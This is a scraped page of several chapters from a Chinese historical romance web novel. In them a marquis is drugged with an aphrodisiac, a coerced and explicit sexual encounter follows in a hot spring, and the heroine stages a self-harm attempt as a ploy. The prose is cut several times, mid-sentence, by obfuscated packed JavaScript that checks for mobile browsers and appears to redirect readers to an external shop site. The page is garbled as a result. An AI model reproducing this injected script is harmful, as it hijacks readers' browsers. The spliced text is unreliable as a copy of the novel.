谢砚深站在原地，只觉得头晕，经脉中内力还在运转着压制药效，他现在根本没有应付眼前责问的精力，屋外的一股寒风猛灌进来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991720|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的神智陡然清醒了许多，没有任何与地上人纠缠的意思，抬步就要往外走。 钟芷兰怎么可能让他就这么离开。 “谢侯爷！你半句解释都没有，就想这么一走了之吗？”她快步朝他走去，身上的药引香随之传过去。 谢砚深脚步不停，他根本不相信钟芷兰那一出姊妹情深的戏码，今夜之事绝对和钟府脱不了干系，但现在不是追究的时候，他必须立刻离开。 在钟芷兰站起身的时候，他加快了脚步，但一股香气比身后女人靠近得更快。 在那股香气钻入鼻中的时候，他体内压制媚香的内力瞬间崩溃。 他瞳中紧缩，身体猛地一晃，单膝跪倒在地上！ 钟芷兰压着唇角的笑，声音慌乱：“侯，侯爷！您怎么了？” 说着，越靠越近。 谢砚深跪在地上，一滴滴汗珠从他的额角滑落，手紧握成拳，掌心掐出血痕，鼻尖那股香气越来越重，眼前开始模糊。 眼角余光只看得到一点紫影靠了过来，他的右拳慢慢放开。 钟芷兰终于走到了他的身旁，伸出手，指尖接近他的肩膀：“阿深哥哥，你还好吗——” 在她即将触碰到他的前一秒，跪倒在地的男人猛地反身，目中猩红，一掌狠狠打在她的肩上！ “啊——！” 尽管谢砚深此时内力虚弱，但这一掌也不是钟芷兰这样身体娇柔的闺阁小姐可以接住的。 她顿时倒飞出去，重重砸在地上。 此时屋外钟芷兰的心腹婢女还有假扮婆子的武师听到声响，立马跑了进来。 婢女看着倒在地上的主子，尖叫一声：“姑娘！” 而后进来的假婆子则是看着靠坐在一旁柱子紧闭双眼的谢砚深，站在原地踌躇。 主子倒了，他一个走狗自然六神无主。 “茗儿姑娘！现在该怎么办！”假婆子捏紧拳，压低声音叫那边在地上扶着钟芷兰的婢女。 茗儿看着怀里已经疼晕过去的钟芷兰，心中也是慌乱不已。 怎么办？ 她怎么知道怎么办！ 那媚香可是能弄倒江湖高手的厉害东西，谁知道镇北侯中了毒竟然还能有把大姑娘一掌击倒的力气！ 不行！不能慌！ 该想想对策才行，不然姑娘和夫人的心血就都白费了！ 如果姑娘醒着，她会怎么做？ 要想想，要好好想想…… 在假扮婆子的武师急到跳脚，要再开口催的时候，抱着地上钟芷兰的婢女猛地抬头，咬着牙：“脱了他的衣服，搬到床上去！” 假婆子浑身一震，随后低头看向一边紧闭双眼、似乎已经五感尽失的男人。 这个他是谁，不言而喻了。 而另一边的茗儿，已经动手开始解怀中钟芷兰的披风。 这意思就是，今日无论如何，镇北侯府和钟府的这碗生米，必须要煮成熟饭，就是硬推，也要把钟芷兰推到镇北侯夫人的位置上！ 假婆子咽了咽口水，朝柱边靠坐的谢砚深挪步过去。 北境统帅的威名，天下无人不知，现在他要亲手把这位开疆拓土的名将推火坑里，换谁，也不可能不胆怯。 但他没法后退。 “侯，侯爷，实在对不住了，小的……呃！”假婆子正说着，身体猛地一僵！ “砰！”后脑传来一阵剧烈的疼痛，男人睁着双眼，倒了下去。 在他的脖颈后，一根封住他穴道，让他无力抵抗身后袭击的银针闪着光亮。 茗儿浑身颤抖着，看着突然闯进来的粗糙汉子，连怎么反应都忘了。 赵阿京手中提着从林子里捡来粗树干，抬起手，往地上的假婆子后脑狠力又补了一下。 随后扭头，看向不远处瑟瑟发抖的婢女。 没有任何犹豫，他几大步就踏了过去。 茗儿腿软得站不起来，直到赵阿京站到她面前了，才抖着声音开口：“别，别杀我……” 马夫喘着粗气，扬手举起了手中的木头。 …… 赵阿京把手中染血的树干往殿外雪地随手一抛，随后跑回房内，一把扶起地上的谢砚深：“侯爷！” 谢砚深微睁着眼，喉中只溢出一个字：“……走。” “是！”赵阿京扶着他，跌跌撞撞往南边的马车去了。 很快，整座偏僻殿宇安静下来。 一道素白的身影走入殿内，站在假婆子旁边，蹲下来，拔出了那根封穴的银针。 而殿内的媚香似乎对她完全不起作用。 段素灵不紧不慢，又走到钟芷兰的身旁，手中动作极快，把那个装着药引香的香囊一把扯出，放在明处。 随即又站起来，循着气味找到博古架上的香炉，将里面的香熄灭，免得这场陷阱的铁证给烧光了，然后往地上一抛，同样丢在显眼的地方。 做完这些，她幽幽向外走去，殿外墙角，福明和乔大夫双双倒在地上昏迷，人事不省。 段素灵拿出一个小瓶，在两人鼻下分别晃了晃。 “现在可不是睡觉的时候。”她冷声笑道，“你们侯爷遭人暗算的罪证还在屋里等着人拿呢。” 数秒后，她收起瓶子，转身走入林中。 镇北侯已经被赵阿京扶回去了，伏羲香会在他即将被带到马车停靠处前由赵阿京下在他身上。 混着殿中的媚香，效用增倍。 玉怜脂站在树旁，看着快步走过来的段素灵，后者朝她点了点头。 少女弯着眼，轻笑道：“看来天命佑我。” 今夜成败与否，就在此一举。 “走吧，回蹈义台。” “挺身救主”的马夫赵阿京在那殿内呆的时间虽然不长，但难免也吸入了些许药香，身体有些不适再正常不过了，既然身体不适，如何能继续留在这里。 自然要撑着把小马车赶回蹈义台，换其他的马夫过来。 正好，顺路再送她们回去。 30. 毒发 章四柱坐在火坑边，面上表情不太好：“阿京那小子，怎么去了这么久。” 只是去拿一趟衣服，哪用得着小半个时辰这么长。 负责大房车驾的马夫也是老资历了，偏头看了他一眼，笑呵呵地开口：“许是侯爷那边吩咐了什么事情吧，阿京平日里是个老实头，从不曾见他躲懒，不会故意耽搁的。” “哼。”章四柱消了气，“他今天事儿多得很，不过，谅他也不敢偷奸耍滑。” 大房马夫：“那是。” “嚓——”地面树叶被踩压的摩擦声还有男人沉重喘息从他们身后传过来，打断了对话。 章四柱先一步听见，扭过头：“回来了……” 下一秒，脸色大变，猛地站起身来。 两道人影从黑暗处走到火光照亮的地方，其中一个半扶半扛着另一个。 赵阿京搀扶着谢砚深，满头大汗，说话都困难，呼唤眼前两人：“快……快点……侯爷……！” 谢砚深此时的状态已经非常不好，披上的外袍都被汗水和路上落下的雪水浸透，但他面上的颜色却是不正常的红，脖上、额边、手背，但凡露出来的地方都是青筋暴起，似乎正在极力忍受折磨。 章四柱和大房马夫大惊失色，只呆住了一两秒，立刻冲上去接住人。 “怎么了这是？！侯爷！侯爷！” 章四柱动作极快，把谢砚深的左臂往肩上一扛，扶着人快步往四驾马车过去，嘴上对着身后的赵阿京大吼： “到底怎么回事？！” 赵阿京拖着人一路过来，声音都累哑了：“有人，有人暗算侯爷……乔大夫和福明郎君都被打晕了，现在人还在那边！” 章四柱和大房马夫听见这话，更是震惊无比，脑中一团乱麻，手中动作却还没停，三个人合力，把谢砚深抬上了马车。 等人进了马车，章四柱从车厢里下来，焦急扬声：“侯爷肯定是中了药，我现在必须立刻带他回去！” 赵阿京的反应很快：“那好！我和阿泰叔去救人！” “行！”章四柱手脚麻利，已经解开了拴马的缰绳，随后上了马车，扬手挥鞭，拉车的四匹枣红马立刻跑动起来，很快消失在夜色之中。 看着车驾出了视线，赵阿京转头朝大房马夫喊道：“我们快走！” …… 或许是因为正当壮年，身体底子强壮，赵阿京来回奔忙好几趟，竟然也不见脚下速度放慢，只是脸色非常红，和大房马夫跑着赶了回去。 但是到了殿外，却没看见园里墙角有人，两人不敢耽搁，又跑到殿门，果不其然，看见了站在殿内团团转、脸色阴沉至极的福明。 乔大夫靠在一旁，脖子上又紫又黑，整个人摇摇欲坠，明显是被勒惨了，手中拎着一个衣服包成的包裹，里面不知道是什么东西。 看见他们两个人闯进来，福明睁大了眼：“你们……” 赵阿京连忙说道：“福总管，侯爷已经上了马车，回蹈义台去了！” 福明的眼中终于有了光亮，冲上去：“侯爷没事吧？！” 赵阿京摇头：“侯爷中了药，情况很不好！我们是来找你们的，乔大夫在就好了，赶紧跟我们回去吧！” “什么？！” 听见“中了药”三个字，福明刚好一些的脸色极速转阴。 此时殿中四人，赵阿京和阿泰是马夫，乔大夫则是状态极差，看起来就快要再次晕过去了，唯一能做主的只有福明，他是谢砚深的心腹，说话最管用。 另外三人虽然心中焦急，但还是站在原地等他下决断。 福明脑中飞速旋转，数秒后开了口：“阿泰，你驾的车是两驾的，脚程更快，你现在带着乔大夫，立刻赶回蹈义台!” 阿泰：“是！” 他快速应了一声，立马扶起一边的乔大夫，快步出了殿门。 “还有你……”福明转头看向几步外面色酡红的赵阿京，心中顿时咯噔了一下，“刚才是不是你来救走侯爷的？” 赵阿京面上非常惊讶：“是，是！福总管您怎么知道……” 福明暗暗朝地上倒着的钟芷兰几人恨啐一口。 他怎么不知道！ 他自己就着了这药的道！ 眼前这马夫肯定是先前进殿里来的时候也闻了一会儿那香，只是时间不长，殿门又开着，所以中毒浅。 福明：“你不能留在这里了，我看你神智还算清醒，你也跟着驾车回蹈义台，然后换其他马夫过来！” 说着，他掏出腰间的腰牌抛给眼前的人：“记得，待会儿换人来的时候，拿我的腰牌，吩咐主院跟来的那几个贴身伺候的人，让他们上马车一起回这边。” 这边还有地上这一大滩要处理的麻烦，他一个人可应付不了。 赵阿京点头：“是！” …… 蹈义台。 四驾马车飞奔着进了大门，守门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但他不愿。 这些下作阴毒的手段，他厌恶至极。 比起像野兽一样神志全无地发泄，他更愿在寒冬中入冰泉生生捱过去。 “扶我……过去。”他下了最后的命令。 “……是，侯爷。” 31. 温泉 眼看着夜越来越深，关嬷嬷在房中踱步，她心中焦急万分，但偏偏不能随意走动。 行宫中不比珠玉院，人多眼杂，更何况还有个老太君派来的莲芯在，这婢子虽然因为咳疾不能在玉怜脂寝房内伺候，但也不老实，半个时辰前在房门外边的廊下鬼祟来回，被她打发了出去。 要瞒住玉怜脂暗中外出的事情，可不是那么容易的事。 好在，在她忍不住想再出去查看的时候，房门处传来了轻响。 关嬷嬷屏气快速转身，对上一双笑眼。 “我不是让嬷嬷喝茶静等吗？嬷嬷怎么这么沉不住气。”玉怜脂看着她，笑眯眯地说。 老妇人快步上前，嗔怒地瞪她一眼，看着生气，手上动作却是帮她解开披风，拂去衣上的雪。 “姑娘还说呢，怎么才回来！” 一旁的桌上一直用小火炉温着姜汤，玉怜脂不答话，倒了一小碗姜汤，捧着慢慢喝。 外头实在是冷极了，她在那林子里呆了这么久，手脚就算被棉缎裹着，还是冰凉无比。 关嬷嬷捧出她平日穿的衣裳，等着喝完汤给她换上：“怎么不见段大掌柜？” 玉怜脂放下汤碗：“素灵阿姊还有重要的事情。” 谢砚深是回来了，但他现在究竟如何了、身处环境如何，她们并不清楚。 如果他现在正在被医治，身边护卫重重，那她们还得再等待时机。 但是那媚药厉害无比，基本可以确定扎针用药无效。 那便只有唯一一种途径。 赵阿京已经将伏羲香下在了谢砚深身上，即使找了旁的女子来，亲近之后也没法让他彻底纾解。 主子做那事儿，房门总不可能站满了人，守卫必定不会太森严，到时候，她们便可以借机行事，用女娲香引他出房…… “吱呀——” 房中两人回头。 段素灵闪身进来，反手快速阖上门，快步走到少女身旁，附耳说了几句话。 话音落下，玉怜脂怔了数秒。 …… 谢砚深竟然没有找女子解毒。 而是选择在这严冬季节，去了后山，要泡寒泉？ 他疯魔了不成？ 他年岁早过了弱冠，难不成到现在都没有房中伺候的人？ 这世道，但凡男人手中有些钱财权势，便没有从一而终可言，便是宫里的太监，都一脑门子心思娶妻纳妾。 寻常富户财主尚且好几房小妾通房，坚持一生一代一双人的倔情种，她活到这么大，见过的不足一手之数。 来京都这么久，玉氏探子传回来的各府消息里，那些成了婚的世族男子，就没有不纳二色的。 不乏和妻子感情不错的人，但后院真正干干净净的却提着灯笼都找不出来，什么上峰送的长辈赐的自己纳的从小伺候的，如谢滨那样一妻一妾的都是少有了。 而谢砚深，手握兵权的重臣，世家出身的武将，又正当壮年，身边一个女人都没有，拼着伤身子也不肯碰人。 难道…… 他身上有什么不为人知的隐疾？ 要真是这样，事情可就难办了…… “姑娘，姑娘？”关嬷嬷的声音把她从沉思里拉了出来。 段素灵双眉紧皱：“姑娘，接下来……” “……备一壶酒，”少女抬起头，神色冷淡，眉目清艳，“要烈的。” 段素灵和关嬷嬷面面相觑。 玉怜脂不去看她们的面色，径直站起身。 双手抬起，解开外衫的盘扣与腰间衣带。 …… 行仁斋与蹈义台后山的大小池子许多个，温泉与寒泉同时存在，连成一片。 大池子都是露天的，池与池之间矗立着许多小山石，行宫里的人将过于锋利的地方磨圆滑，但是大体结构不曾动弹，这些山石天然地成了池中沐浴的屏障。 谢砚深入了寒池之后，侍从们不敢留守，在池子的周围点上火把之后，全部领命退到远处。 男人身上只有一件玄色薄袍，浸透了水，紧贴着身躯，他身量高大，坐在池子里，胸膛之上的部分全部露着，肌理流畅，紧紧绷住，皮肤上的水珠滚落下来。 他闭着双眼，看上去神色还算平静，但细细看去，额鬓边青筋已经暴凸而起，泉中之水寒凉刺骨，浸泡其中，能解一时之热，可一旦脱离极冷，他体内的药效不过半盏茶就会复发。 而且一次比一次剧烈。 这样的反复比起一直强行压制更为伤身，所以他尝试过一次之后，选择一直在水中调运内息。 体内的欲望叫嚣着，但他却不肯打开那个闸口。 “……姑娘……姑娘慢些……”原本的沉寂被打破。 不远处似乎有人声传来，但他此刻五感微弱，这声音传在他耳朵里，更像是蚊虫嗡鸣。 “我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那水声，还有隐隐传来的细碎哼吟。 比体内的媚药，更加磨人。 男人长臂压在池岸边，神色阴沉至极。 在他准备起身的时候，一股有些腥柔的香味从山石后头幽幽钻了过来。 那香不知是什么味道，轻飘飘的，却又挥之不去。 让人忍不住追逐。 他倏地顿在原地，许久，最后依旧起身。 但不是离开寒池。 而是调转了方向。 32. 鸳鸯 烈酒伤身，于身体孱弱的久病者来说尤甚。 玉怜脂将那铜壶中的酒满杯饮下，初时感觉入喉辛辣，滑下腹后浑身发热，但除此之外也没有太多不适。 但她从小到大几乎从不饮酒，不知道烈酒的后劲反上来人会变成什么模样，她要喝，只是想为后头行事寻个合理合情的引子，还能顺道壮壮胆。 她从寝房一路到后山温泉处，眼前是清晰的，头脑也没有昏沉，她知道自己要做些什么，知道要说什么话。 但是不知怎的，现在泡在热泉里，手脚竟然有些不听使唤了。 而且身上越来越滚烫。 她跳下来前解了披风，但剩下的衣裳毕竟还是冬日的，棉缎厚重，浸透了水，她穿着就像是往身上绑了一块大石。 等她回过神来，身上已经被她自己解得只剩一件薄薄的抹腹了，细金链子绕过雪白后腰，链扣缀着一颗小小的水滴翠玉。 池子里的水好像也越来越热，像是要把她蒸成一团酥软，偏偏她不能离开这泉水，她自小就是个身子娇气的，这天冷成这样，她是绝不肯受苦的。 少女长发散在后背，一路蜿蜒在水面上，发髻乱了，只留下一根白玉簪欲坠不坠，她伏在一旁的泉石上，双颊粉红欲滴，神色开始有些怔迷，一手垫在侧颊，头偏着，另一只手有一搭没一搭地撩着水。 她刚出寝房的时候心弦紧绷，但过了这些时辰，她脑中的思绪与身体的反应一样，越来越混乱，双眼眨动的速度越来越慢，最后只微微睁开。 ——想要就这样一直靠着山石，慢慢昏睡过去。 她是为什么而来？ 她记得，好像要等什么人来…… 是等谁呢……？ …… 眼角的余光忽地映入一团模糊的阴影，逐渐扩大。 随着黑影的靠近，她的身后爬上似有若无的麻痒。 有人来了…… 是谁？ 她轻哼了一声，想撑起身转过去。 可是在汤泉中泡了太久，她的手臂已经失了大半力气，动弹一下都困难，只能如搁浅小鱼，任人捕捉。 身后的人终于到了近处，距离亲密到她可以听见来人沉重的呼吸。 他的身量比她高出很多，蜜色布满旧痕的大手触在水面，勾起她的发尾。 随后沿着背线一路向上，将她贴在颈后的发拨开。 她开始喘息，眼中水雾泛起，张了张口。 “谁……嗯……！” 似乎是终于腻烦了伪装温情小意的趣味，身后之人猛地伏下身，挺直的鼻梁与略微冰凉的薄唇压在她的颈窝里。 重重地摩挲着。 她从来没有和男子有过如此亲密，细白如玉的右臂倏地抬起，想要将脖颈后作乱的人推开。 男人由着她抓弄自己的发，好像逆来顺受似的，但水下修长有力的双臂却与他看似放任的态度截然相反，迅猛而野蛮，只一抱，将少女锁进了怀里。 池中的水四处溅溢，纠缠、挣扎，反复而又混乱。 水面稍稍平静些许的时候，她最后一点遮掩也没有了，脖上红痕点点。 稍微清醒过来时，她正被男人托着，咬吸着他的唇-舌哼叫。 从惊慌的猎物堕落成了共犯。 少女倏地反应过来，连忙仰起头避开，眼角滑下慌乱惊恐的泪珠，手在他的胸膛用力推着。 “深，深叔——” 她似乎终于知道自己正和谁纠缠在一起。 终于明白现在发生了什么。 于是恐惧到了极点。 怀里的人忽然开始用尽力气躲避，无论他如何痴吻，想将她拉回情渊，她都不肯领情。 男人眉间的郁气极深，隐隐转换为怒意。 “乖一些。”他把她压在石上，手在她腰侧一捏。 玉怜脂控制不住地惊叫一声，身体不受控制地软下去。 腰侧不比寻常地方，谢砚深又不收着力气故意为难，她又痛又麻，浑身惊颤起来。 “……不要，停下……”她小声哭着，“深叔，不，侯爷，您清醒些，是我……唔……！” 压住她的人却像是什么都听不见，他们几乎要融为一体，她能感觉到一股忽视不了的炽热，难以摆脱。 她不肯就这样继续下去，双手挥动，挣动间，狠狠打在了男人的脸上。 “啪——！” 响声很清脆，谢砚深的侧脸带上了三道细细的红痕。 他终于停下了，随后缓缓转回头。 深黑的瞳映出她惊慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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手中抱着的人身形有些细瘦，即使被厚披风牢牢裹住，看上去也很柔弱，埋头入他怀里，没有动静。 长长的乌发散溢出来，一路垂下。 ……是一个女子。 33. 梦醒 意识开始恢复的时候，帐外还是昏黑的，凛冬的白日总是很短，夜晚一直延续到月落日升也不褪去。 她好像做了一个梦。 一个漫长、旖旎，却又可怕的梦。 梦里面有深色与雪白在翻搅厮混，声音杂乱极了，大多细碎而极度黏腻，像是粉红浆果揉烂成了蜜，似乎间隙处还夹杂着低沉的闷吼。 她整个人也像是从树上落下的果子，熟透了，上一刻还在高高的树冠上挂着，下一秒就不受控制地掉下来，皮破肉软，汁液是迷乱的糜红，尽数被人吞进口中。 这样的恍惚生死反反复复，每一次都是历经折磨，才被允许得到解脱。 此时身下的床榻比她平日里睡的硬许多，屋外霜天寒地，榻上垫了厚厚的兽绒，但她躺着还是诸般不适。 身体疲累极了，酸，疼，让人想要全身蜷缩起来的软。 玉怜脂几乎睁不开眼，她能感觉到眼角的灼痛，那是昨夜泪流太过留下的印痕。 床板不够柔软，垫在她脑袋下面的枕头也没舒服到哪去。 她被裹在一团如火的极热里，素日安睡后依旧会发寒的手脚竟也暖和起来，她艰难地侧转过身，鼻尖触到了许多长丝一样的东西。 但又不像是她的头发，她的发要更细更滑。 她抬手去挥掉它们，却怎么也弄不开，许久，她有些烦闷地睁开眼。 对上一双带着冷意的黑眸。 只是一瞬间，她浑身僵硬。 …… 帐中死一般的沉寂。 男人抽出垫在她侧颊下的长臂，率先起身，厚被滑到他的腰腹下，上半身未着衣，赤-裸着，不复往日里君子模样，身上布满疤痕，有一种最血性的野蛮，充满了压迫威胁之感。 少女还躺在原处，一动不动，像具失去了生机的木偶。 两人昨晚解下的衣衫丢在床下，床榻尽头，还有一根快要落到缝隙里的白玉簪。 “昨夜……”他先开了口，“你为何会去温泉？” 第一句不是安慰，竟然更像是在怀疑她。 过了许久，她还是侧躺着，不说话，一点声音也没有，似乎没有力气回答。 谢砚深眉心紧蹙，握成拳的手紧了紧，最后松开，侧过身，手臂向下伸去，环过她的肩背，将她扶起来。 直到这时，他才看清楚她的脸。 满面的泪水，表情却非常空茫。 无措到了极点。 男人沉下脸，从床下拿起那件掉落的厚披风，把她裹住。 “昨夜的事，你……”他眯了眯眼，再度开口。 这一次，她有了反应。 少女一把推开眼前的人，手往回一伸，立时握住了什么东西，随后抬起手，狠狠划向自己的脖颈！ 如此狠绝，已是决意赴死。 “住手！”谢砚深反应的速度极快，狠力扯住她的手臂。 但她划得那样用力，那根白玉簪终究还是在她的脖上留下了一道血痕，鲜血从伤口处渗出丝许。 他夺过簪子，又用东西捂住她的脖颈，眼中急怒：“你！” 她却丝毫不惧怕他阴沉如水的脸色，而是抬起头，空洞的眼不断流着泪，就那样看着他。 终于开口—— “我……我还能去见滨叔吗……？” 这个时候，她不是为了自己而哭，而是因为害怕疼爱自己的长辈会伤心失望。 但这件事，明明不是她的错。 谢砚深呼吸猛地一滞，微微偏首。 此时，他居然不敢看她的眼。 不知怎的，他忽然想起当日在梅林里的她。 虽然一样在哭，却是鲜活的，有生气的，拿着一枝梅，和他讨价还价。 不像现在，苍白，枯萎欲坠。 “……一切都是我的错。”他说， “我会补偿你，只要你说……” 她低着头，扯着身上的披风，打断他的话：“我要回去，我想回去……” 声音哽咽，身躯颤抖着，如同风中枯叶。 他眼中闪动，将手中的白玉簪抛入床榻最深处。 “……好。” ———— 行仁斋。 浴房中，少女浸泡入浴桶，身旁的老妇人握着药罐，为她上药。 关嬷嬷看着她脖上的伤，心痛得眼角落泪： “姑娘你，怎么下这么重的手！” 玉怜脂仰着脖子让她为自己上药，没有答她的话，而是问道：“昨夜我走了之后，你们按照计划行事了吧？” “……都按照您原定的吩咐去做了，”老妇人压下泪意，说道， “您被那位……带走之后，过了小半个时辰，我去蹈义台那边向主院的人求助，果不其然，因着侯爷的事，他们忙乱得很，挪不开身，根本不放在心上，只说行宫里头丢了人，要发动大批人手找不是件小事，他们做不了主，让我等大宴结束，高大夫人回来再说。” “我便在大门口守着，后来跟着侯爷的那个福明总管先一步回到了，我就再去求，他起初不肯见我，一头扎进了主院那边，后来在里头呆了一会，突然又肯见了，冲出来，只问我您是在哪里走丢的。” “听到我说是在后山温泉那边，他脸色就难看得很了。” 玉怜脂轻勾唇角：“您没露出什么破绽吧？” “没，我就问他怎么了，出了什么事。” “他怎么说？” “他说，高大夫人身体不好，最好别惊动，他派人带我去找您。”关嬷嬷说。 “那……找到了我么？” 老妇人撇了撇嘴，哼了一声：“自然是找到了，说您喝醉了乱跑到蹈义台，已经在那边歇下了，有人伺候，还说问过您的意思，明天再回行仁斋，事情不大，侯爷吩咐不准惊动太多人。” 话音落下，玉怜脂大笑出声。 “果然侯府里头个个都不是个省油的灯，见人说人话，见鬼说鬼话，瞎编造的本事一绝。”关嬷嬷说。 玉怜脂头一直仰着，累得慌，终于上完了药，关嬷嬷用干净的布条给她缠上伤口。 她上半身伏在浴桶边，老妇人低下头，看见她身上遍布的红紫乌青。 手中猛地一顿，过了数秒，才继续有动作。 玉怜脂只看她一眼，就明白她心里难受：“嬷嬷，别伤心，我不觉得难过。” “……不难过……您把自己逼成这样，怎么会不难过……”关嬷嬷的声音又哽咽起来，“夫人和东家泉下有知，该有多心疼！” “姑娘，这么做真的值得吗？” “或许还有其他路可走……不一定非要把自己都押上啊！您接近他第一回，就把自己伤成这样，那以后还有多少回苦要受！您真的是对自己太心狠了……” 玉怜脂双眸望着房顶上的梁柱，房中水汽朦朦，她的眼神有些恍然，说话的速度很慢： “……小时候，我听闻过‘五不’——慈不掌兵，义不养财，善不为官，情不立事，仁不当政。如今想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991724|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，果然句句真言。” “爹爹名声在外，秉着一个义字行商，四处帮扶，可后来他去了的消息传回来，那群被他扶助过，同他称兄道弟过的人连伪装片刻都不肯，当日就围了老宅，伙着商行里那些内鬼，要将玉氏家产撕分吞尽；” “柳启彦高门子，高门婿，一朝被贬，我本以为他再难翻身，谁料想他做了承王门下狗，狗随主势，竟还能官复原职，步步高升，如此奸恶之人为官多年从未行善举，然而他如今依旧是江南顶天的父母官；” “当今陛下素有仁名，驭下宽和，重礼轻刑，对待后妃皇子更是如此，即使心中有所偏爱，也不肯太过厚此薄彼，夹在皇后与贵妃之间摇摆犹豫多年，迟迟不肯立储，睿王草菅人命，陛下明知其罪，但耐不住爱子之心，徇私不肯处置。仁宽太过已成纵容，才搅得如今朝内朝外混乱不堪，物议如沸……” 她的语气平淡，却让人感受到其中深如寒湖的怨恨。 关嬷嬷听着她的话，简直心惊肉跳：“姑娘！你糊涂了！这些话可不能胡说——！” “您瞧，五不已经应验了三不。”玉怜脂自顾自继续说下去， “……一直听闻镇北侯沙场铁血，我却也没真正见识过他征战时的情状，直到今日帐中醒来后他看我的那第一眼……嬷嬷，我可以肯定地告诉你，他在怀疑我。” 纵然她被他折腾了一夜，为他失了身子，受了大罪，而昨夜之事也都扫尾干净不留把柄了，谢砚深依旧没有放松警惕，似乎连一丝愧疚都欠奉。 那是战场上磨砺出来的直觉与冷酷。 昨日的纠缠如同黄粱一梦，梦醒后，他便翻脸无情，更疑她用计。 若非今日这赌命的一簪划得够深够狠，她休想就这么轻易地摆脱嫌疑。 冷情冷性，毫无慈悯二字可言。 纱布缠好，她复又垂首，从水中站起身来： “至于这最后一不……” “且看着吧。”她的眼神幽沉如水。 情不立事。 谢滨与镇北侯府的庇护之恩她已决心抛却了，爹娘望她平顺和静、与人为善的期盼她也全然不顾了，划在脖子上这区区一簪又有什么可怕。 优柔寡断必死无疑，断欲绝情方成大事。 既然动手谋算了，那她就一定要谋出赢局，谁挡了她的路，她都不会手软，哪怕是她自己，也一样。 “去把阿姊叫来，和她说，我要服用两枚红丸。”她沉默片刻，开口说道。 红丸药性极猛，曾在心疾爆发的时候将她从鬼门关里硬生生扯回来。 然而是药三分毒，无毒不入药。 药性与毒性难分难舍。 红丸这样的药通常只能救急，不能常用，概因多是以毒攻毒，损身保命。 如果她一次服用两粒， 必会折害寿数。 关嬷嬷猛地一愣，噗通跪倒在地： “姑娘！！那药一个不小心，会要了您的命的！” 玉怜脂缓缓凑近她，眼瞳深黑：“……嬷嬷，您知道的，我想做的事，没人能拦着。” “有言道，人不自害，受害必真，假真真假，间以得行。又说人之将死其言也善。” 她俯下身，与面前的老妇人对视，言语平静到冰冷： “我若不用苦肉计，怎么提醒他，他对我做了什么？我受了十分的伤，也必得让他有十分的愧疚。” “要命又如何?” “投之亡地而后存，陷之死地，然后生！” 34. 对峙 谢砚深换好官服准备出门前，福明脸色复杂，小跑进来。 “侯爷，”福明低声说，“行仁斋那边的人来说，玉姑娘病了。” 男人手中一顿，偏首：“怎么回事？” 福明：“说是回去不久就发了低热，人也不大清醒，大夫人那儿也知道了，特地来禀报您一声，说行宫在山上，太寒冷，许多事也不方便，问有没有可能先出行宫，去族庄里休养。” 谢砚深沉默许久，随后压下眼：“……你去安排，要最好的马车，多派些人跟着，到了之后回来报一声。” “是，属下明白。” ———————— 昨日的大宴一直持续到深夜，第二日清晨，行宫中一片寂静。 升平殿。 朱红大门紧闭，一声器物被狠掷在地碎裂的响声透过殿门传出，殿外守着的禁卫全部屏息静默，气氛凝固。 平武帝猛地起身，将大太监递过来的茶盏砸在地上。 殿中众人全部掀袍跪下，同声：“陛下息怒——” 平武帝一手抬起压在额头上，闭了闭眼，才又慢慢坐回帝座之上。 “谢卿快起，”他朝跪在下方的谢砚深摆摆手，“此事，朕必当严查，绝不姑息！” 昨夜平武帝与秦贵妃相携游园，末了却是去皇后那里歇下的。 今早还未用早膳，大太监钱礼就进来通报，说镇北侯有要事启奏，不敢擅作主张，必须请圣上裁决。 昨晚大宴，谢砚深一去不复返，离席不久后让贴身侍从来报，说是旧伤复发，随行的侯府大夫正在诊治，无法赶回，望圣上宽宥。 谢砚深手握北境重兵，忠心耿耿，从不恃功而骄，也没在宫宴上出过什么事，平武帝虽然心中疑虑，但也没说什么。 然而今早，他却突然又好了，还特地挑了清晨来觐见。 种种迹象，都表明昨夜谢砚深去更衣时，一定发生了什么事情，而且事情还不小。 但万万没想到……！ 竟然有人敢在行宫里给朝中重臣下药。 而且下药的人，还是世家贵族的小姐。 谢砚深得了旨意，站起身来，微垂首，拱手说道： 